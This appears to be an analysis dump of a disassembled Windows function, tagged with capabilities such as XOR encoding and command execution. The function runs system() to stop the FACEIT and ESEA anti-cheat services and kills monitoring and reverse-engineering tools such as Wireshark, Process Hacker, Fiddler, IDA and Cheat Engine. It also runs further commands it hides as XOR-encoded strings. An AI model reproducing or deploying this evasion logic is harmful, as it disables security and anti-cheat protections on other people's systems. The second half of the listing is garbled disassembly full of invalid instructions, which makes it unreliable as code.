Function at 0x140006340
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e8c0]
xor ebx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov ecx, ebx
mov dword [rbp - 0x20], 0x859d89d8
mov dword [rbp - 0x1c], 0xcbd2d9ca
mov word [rbp - 0x18], 0xdf
mov byte [rbp - 0x16], 1
nop
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x19
jb 0x1400063e0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x16], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e820]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xdb9a8290
mov dword [rbp - 0x1c], 0x9882d5ca
mov dword [rbp - 0x18], 0xcfc2cf82
mov dword [rbp - 0x14], 0x100c2d4
nop dword [rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1e
jb 0x140006430
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x11], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e830]
mov rcx, rbx
movdqa xmm1, xmmword [0x14006e8f0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], Ordinal_200
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x140006480
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e850]
mov rcx, rbx
movdqa xmm1, xmmword [0x14006e920]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], Ordinal_200
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x1400064d0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e850]
mov rcx, rbx
movdqa xmm1, xmmword [0x14006e910]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], Ordinal_200
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x140006520
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e850]
mov rcx, rbx
movdqa xmm1, xmmword [0x14006e900]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], Ordinal_200
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x140006570
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e860]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x87d6c78d
mov dword [rbp - 0x1c], 0xdfcc879f
mov dword [rbp - 0x18], 0xc1c9d0
mov byte [rbp - 0x14], 1
nop word [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1b
jb 0x1400065c0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x14], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e7f0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xcfd6d5c6
mov word [rbp - 0x1c], 0xdb
mov byte [rbp - 0x1a], 1
nop dword [rax + rax]
lea eax, [rbx - 0x2a]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x15
jb case.default.0x140006726
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x1a], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
sar bh, 0x23
xchg ebx, eax
sar bh, 0x21
xchg ebp, eax
sar bh, 0x20
nop
mov ebx, 0xc79c2cff
jmp [rdi]
dec dword [rsi]
jp 0x1400f47cd
dec dword [rsi]
js 0x1400f47ce
call qword [rdi*2 - 0x7be40050]
mov bh, 0xff
adc dword [rbp - 0x5b], esi
call qword [0x15b0ef8b3]
mov byte [rbp - 0x386ee801], bh
call qword [rcx + rbx*4]
sar edi, 1
or al, 0x94
retf
leave
call [rcx]
xchg edx, eax
int 0xff
sbb dl, byte [rcx + rcx*8 - 0x406ddc01]
push qword [rsi]
jg 0x1400f481b
dec dword [rbx]
sbb dword [rdi], ebx
inc dword [rsi]
add byte [rax], al
jmp qword [rax]
sbb cl, byte [rdx - 0x71e20040]
invalid
and eax, 0x1fffc691
jle 0x1400f4866
jmp qword [rbx]
jbe 0x1400f48cb
call qword [rdx]
xor eax, 0x2711ff4c
adc dh, byte [0x16721481e]
cmp bh, bh
adc ebp, dword [rax]
cmp bh, bh
adc byte [rbx], ch
notrack call qword ds:[rdx]
adc ch, byte [rsi]
call qword [r9]
adc ch, byte [rsi]
call qword [r9]
dec dword cs:[r15]
xor dword [rbp - 1], eax
getsec
call qword [0x1700ea536]
invalid
invalid
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r13 + 0x45]
inc dword [r14 + rax*2 + 0x42]
inc dword [rsi + rax*2 + 0x41]
dec dword [rcx + 0x45]
inc qword [r14 + rsi + 0x48]
jmp qword [rax]
movabs dword [0xc29327ffc09432ff], eax
jmp qword [rdx]
xor al, 0x97
invalid
fcos
movabs dword [0x9431ffc09836ffcc], eax
mov ebx, 0xc09930ff
jmp [rsi]
mov bh, bh
and byte [rdx + 0x7c], bl
jmp [rcx]
stosd dword [rdi], eax
jmp [rcx]
sub esp, dword [rdi - 0x72]
jmp [rcx]
pushfq
jmp [rbx]
adc byte [rbx - 0x73f10039], dl
mov ebp, 0xbc8a0fff
call qword [0x15c0f166d]
wait
sar edi, 1
sbb eax, 0x17ffd39d
call [0x1580f1f7e]
sar edi, cl
invalid
xchg edi, eax
int 0xff
invalid
jmp qword [rcx]
and dword [rsi + rcx*8 - 0x3967d901], ebx
push qword [0x1760f1497]
xchg ebp, eax
mov ebp, 0xa17c29ff
jmp qword [rbx]
jno 0x1400f4c07
call [rdi]
push rbx
jns 0x1400f4c0b
invalid
jmp qword [rsi]
insd dword [rdi], dx
nop
jmp qword [rdi]
stosd dword [rdi], eax
call [rbx]
xchg byte [rbx - 0x4374e301], dh
call [rdx]
mov es, edx
dec dword [rbx]
invalid
jl 0x1400f4bde
or edi, dword [rbx + rsi*4 - 1]
or esi, dword [rbp - 0x54]
dec dword [rbx]
jne 0x1400f4bdb
dec dword [rbx + rsi*2]
stosd dword [rdi], eax
dec dword [0x1500ef9ad]
ja 0x1400f4beb
call qword [rdi]
cmp dword [rcx - 0x3e79ed01], 0xc68c0eff
mov ecx, 0xc18612ff
dec dword [rsi]
mov esi, es
mov ecx, 0xc18612ff
dec dword [rsi]
mov esi, es
inc dword [0x1490f08d2]
test byte [rax - 0x4b7eed01], bh
or byte [rax + rdi*4 - 0x4b7eed01], al
call [rdx]
jge 0x1400f4c06
call qword [rdx]
jle 0x1400f4c07
lodsb al, byte [rsi]
lodsb al, byte [rsi]
call qword [rbx]
nop
ret
sub al, 0x7b
stosb byte [rdi], al
jmp [0x14f0f0dfd]